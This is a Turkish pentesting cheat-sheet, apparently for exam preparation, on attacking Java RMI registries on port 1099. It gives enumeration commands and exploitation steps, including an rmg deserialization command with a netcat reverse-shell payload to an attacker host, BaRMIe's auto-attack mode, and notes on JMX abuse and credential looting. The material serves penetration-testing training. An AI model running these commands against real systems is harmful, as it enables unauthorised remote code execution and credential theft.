FOOTHOLD Metodoloji Cheat-sheet
1099

Java RMI Registry

linux

Java RMI Registry (genelde 1099/TCP, bazen rastgele yuksek portta). remote-method-guesser (rmg) ve BaRMIe ile bound object enumerasyonu; bilinen kayitli servisler (jmx, spring) ve unsafe deserialization yoluyla RCE.

┌──

Komutlar

nmap ✓ EXAM-SAFE
nmap -sV -Pn -p 1099 --script rmi-dumpregistry,rmi-vuln-classloader {{RHOST}}
RMI registry servis tespiti, bound object listesi ve classloader zafiyet kontrolu HackTricks - 1099 Pentesting Java RMI
rmg ✓ EXAM-SAFE
rmg enum {{RHOST}} {{RPORT}}
remote-method-guesser ile bound names, metot imzalari, JEP290 deserialization filtresi ve registry/DGC/Activator zafiyetlerini topluca raporla remote-method-guesser (rmg) GitHub Wiki
rmg ✓ EXAM-SAFE
rmg guess {{RHOST}} {{RPORT}}
Bound nesnelerin bilinmeyen uzak metot imzalarini brute-force ile kesfet remote-method-guesser (rmg) GitHub Wiki
BaRMIe ✓ EXAM-SAFE
java -jar BaRMIe.jar -enum {{RHOST}} {{RPORT}}
BaRMIe ile RMI registry'yi tara: bound objects, siniflar ve potansiyel saldiri vektorleri BaRMIe GitHub
rmg ⚠ RESTRICTED
rmg serial {{RHOST}} {{RPORT}} CommonsCollections6 'nc {{LHOST}} {{LPORT}} -e /bin/sh' --bound-name jmxrmi
ysoserial gadget chain ile hedef bound name'e deserialization payload gonderip RCE dene (JEP290 filtresi yoksa) remote-method-guesser (rmg) GitHub Wiki
BaRMIe ⚠ RESTRICTED
java -jar BaRMIe.jar -attack {{RHOST}} {{RPORT}}
BaRMIe'in dahili deserialization/known exploit modullerini interaktif olarak dene (otomatik sömuru) BaRMIe GitHub

Servis Hakkinda

Java RMI (Remote Method Invocation), Java nesnelerinin ag uzerinden uzaktan metot cagrilmasini saglar. RMI Registry (varsayilan 1099/TCP) bir isim-cozumleme servisidir: istemci registry’den bir bound name ister, registry istemciye o nesnenin gercekte dinledigi (cogu zaman rastgele yuksek) portu ve stub’ini doner. Bu yuzden RMI cogu zaman iki port kullanir: registry portu + activation/remote object portu.

Neden Tehlikeli

RMI cagrilari Java serialization kullanir. Sunucu, istemciden gelen serialized argumanlari guvensiz sekilde deserialize ederse, classpath’te uygun bir gadget chain (ysoserial: CommonsCollections, etc.) varsa RCE elde edilir. Ayrica zayif yapilandirilmis registry’lere rebind/bind ile sahte nesne enjekte edilebilir.

Enumeration

Once nmap ile servisi dogrula; rmi-dumpregistry script’i bound object’leri ve siniflarini listeler. Ardindan remote-method-guesser (rmg) ile enum action calistir: rmg bound name’leri, uzak metot imzalarini, JEP290 deserialization filtresinin acik olup olmadigini, codebase ayarlarini ve Activator/DGC/registry zayifliklarini topluca raporlar. BaRMIe ise daha eski/genis bir tarayicidir, -enum ile registry’leri tarar, -attack ile bilinen exploit’leri dener.

Bilinen Zafiyetler ve Sömuru

  • Unsafe deserialization (registry/DGC/activation): rmg serial action ile bir ysoserial gadget’i hedef bir metoda gonderir. JEP290 filtresi yoksa veya bypass varsa RCE olur.
  • Method guessing: Uzak nesnenin bilinmeyen metotlarini rmg guess ile brute-force eder; ardindan call ile parametre gondererek mevcut metotlari kotuye kullanabilirsin.
  • JMX uzerinden RCE: Eger bound name bir JMX/MBean server ise (jmxrmi), kimlik dogrulamasiz MBean uzerinden MLet ile RCE klasik bir yoldur.
  • Codebase / known-method attacks: rmg codebase action ile remote class loading kotuye kullanilabilir.

Pivot / Loot Notlari

RMI ile RCE genelde uygulama servis hesabi (orn. tomcat, ozel bir app kullanicisi) baglaminda shell verir; sonrasinda standart Linux privesc (sudo -l, SUID, cron) uygulanir. JMX’ten system properties ve uygulama config’leri credential icin okunmaya degerdir. Reverse shell aldiktan sonra python3 -c 'import pty...' ile TTY yukselt.

┌──

İlgili teknikler

┌──

Kaynaklar

0/15 set